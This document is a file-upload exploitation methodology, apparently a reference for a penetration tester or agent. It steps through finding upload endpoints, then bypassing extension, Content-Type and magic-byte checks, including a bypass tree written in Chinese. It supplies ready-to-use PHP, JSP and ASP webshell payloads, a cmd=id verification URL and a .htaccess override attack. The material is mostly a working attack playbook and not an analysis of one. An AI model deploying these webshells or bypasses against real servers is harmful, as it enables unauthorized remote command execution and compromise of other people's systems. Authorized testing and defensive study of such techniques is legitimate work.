file-upload-methodology

File upload vulnerability methodology

⛔ In-depth reference (required reading)

• Need detailed explanation of extension/Content-Type/Magic Bytes bypass, path traversal, .htaccess override, .user.ini exploitation, image webshell secondary rendering bypass, ZIP decompression exploitation → references/upload-bypass.md

---

Phase 0: Upload functionality discovery and analysis (execute first!)

1. Look for <form enctype="multipart/form-data"> or <input type="file">
2. Common endpoints:/upload, /api/upload, /avatar, /import
3. Key collection: allowed file types, storage path after upload, server technology stack (PHP/Java/Python)

Pitfall: Front-end JS validation can be bypassed directly; the real restriction is on the back end.

Phase 1: Basic upload testing

1. First upload a normal file (.txt) to confirm functionality works normally,record the returned file path
2. Access the uploaded file URL — confirm it is accessible
3. Upload a .php file, observe whether it is rejected

Path guessing：/uploads/, /upload/, /files/, /static/uploads/, /images/

Phase 2: Bypass decision tree

上传被拒绝？
├─ 扩展名限制（黑名单）→ .phtml/.php5/大小写/.php./双写 → [references/upload-bypass.md](references/upload-bypass.md)
├─ 扩展名限制（白名单）→ .htaccess 覆盖（Apache）或 .user.ini（通用）→ [references/upload-bypass.md](references/upload-bypass.md)
├─ Content-Type 限制 → 改为 image/jpeg
├─ 文件头检查 → GIF89a + webshell
├─ 二次渲染检查 → 图片马（GIF 优先）→ [references/upload-bypass.md](references/upload-bypass.md)
└─ 三层都限制 → 组合绕过：扩展名 + Content-Type + 文件头

Phase 3: Webshell Payload

PHP(most common):

<?php system($_GET['cmd']); ?>

Simplified version (bypass keywords):<?=$_GET[1]?>

JSP: <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> ASP: <%eval request("cmd")%>

Post-upload verification

http://target/uploads/shell.php?cmd=id

Pitfall: Accessing .php returns source code → execution is disabled in that directory, requiring path traversal or .htaccess.

Notes

• Upload success ≠ exploitable: must access to verify execution
• The server may hash and rename: obtain the new filename from the response
• Record the extension and response of each attempt: quickly rule out ineffective bypasses

.htaccess attack

• Two-step method: first upload .htaccess to configure PHP parsing rules, then upload shell.jpg

Upload ≠ execution

• Upload success does not mean it can be exploited (upload ≠ execution); need to confirm the file can be accessed and parsed
• Combine with other vulnerabilities such as file inclusion (LFI) to execute the uploaded webshell